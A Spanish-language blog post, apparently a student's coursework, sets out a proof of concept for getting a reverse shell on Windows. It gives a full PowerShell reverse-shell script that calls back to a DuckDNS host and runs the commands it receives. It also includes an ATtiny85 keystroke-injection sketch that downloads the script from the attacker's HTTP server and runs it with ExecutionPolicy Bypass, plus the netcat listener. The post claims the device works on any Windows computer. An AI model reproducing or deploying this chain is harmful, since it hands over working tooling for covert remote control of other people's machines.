Skip to content

Prueba de Concepto Reverse Shell

Published: at 07:15 AM

Objetivo

El objetivo de esta prueba de concepto es obtener una shell inversa en un sistema Windows y enviarla a un servidor remoto.

Desarrollo

Configuración del servidor 🖥️

Usamos la misma configuración de la Tarea 998, Configuración del servidor remoto, solo que ahora activamos otro puerto en el firewall de Ubuntu:

sudo ufw allow 8181

este puerto servirá para la descarga de nuestro script en el sistema Windows.

Configuración de Script Rshell

Crea una carpeta llamada scripts en el directorio $HOME de tu usuario y dentro de esta carpeta crea un archivo llamado unicorn con el siguiente contenido:

# $HOME/scripts/unicorn
$client = New-Object System.Net.Sockets.TCPClient('dominio.duckdns.org', 8080)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
};
$client.Close();

donde dominio.duckdns.org es el dominio que se creó en DuckDNS, y 8080 es el puerto que está escuchando en el servidor remoto

instala screen en el servidor con el comando:

sudo apt -y install screen

Crea una sesión de screen con:

screen -S pythonServer

Ahora inicia un servidor HTTP en el puerto 8181 con el siguiente comando:

python3 -m http.server 8181

Presiona Ctrl + A + D para salir de la sesión de screen, el servidor seguirá corriendo en segundo plano. este pequeño servidor servirá para que nuestro Attiny85 pueda descargar el script unicorn y ejecutarlo.

Puedes volver a la sesión de screen con el comando screen -r pythonServer

Configuración de Attiny85 🧮

Usando el siguiente código en el Attiny85, se puede descargar el script unicorn y ejecutarlo en el sistema Windows:

#include <DigiKeyboard.h>

void openRun() {
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  // Windows + R
    delay(500);
}

void runCommand(const char *command) {
    DigiKeyboard.println(command);
    delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    delay(2000); 
}

void typeCommand() {
    DigiKeyboard.println("Invoke-WebRequest -Uri 'http://dominio.duckdns.org:8181/scripts/unicorn' -OutFile 'C:\\Windows\\Temp\\unicorn.ps1';");
    DigiKeyboard.delay(2000);
    DigiKeyboard.println("powershell -ExecutionPolicy Bypass -File C:\\Windows\\Temp\\unicorn.ps1");
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void setup() {
    DigiKeyboard.update();

    openRun();
    runCommand("powershell");

    delay(500);

    typeCommand();
    }

void loop() {}

donde dominio.duckdns.org es el dominio que se creó en DuckDNS

El código ino lo debes cargar al Attiny85 similar a como se muestra aquí

Configuración de NetCat 🐱

Usa el comando nc en el servidor para escuchar en un puerto específico, por ejemplo el puerto 8080:

nc -lvnp 8080

donde -l es para escuchar, -v es para verbose, -n es para no resolver nombres de dominio y -p es para especificar el puerto.

Ahora puedes usar el Attiny85 en cualquier computadora con Windows y obtendrás una shell inversa en el servidor remoto.

Verificación 👀

Para verificar que la shell inversa se ha obtenido correctamente, se puede ejecutar el siguiente comando en el servidor remoto:

ls

y se debe obtener una salida del directorio de Windows:

Reverse Shell

se creó un archivo hack.txt en el sistema Windows con el comando:

echo "Hackeado por el Gatovsky" > C:\\Users\\Jorda\\Desktop\\hack.txt

y se verificó que se creó correctamente con el comando:

cat C:\\Users\\Jorda\\Desktop\\hack.txt

Hack

Proximos Pasos

(Pasos opcionales si no me reprueba el profe)


Nota: Ninguna PC fue lastimada en la realización de esta prueba de concepto.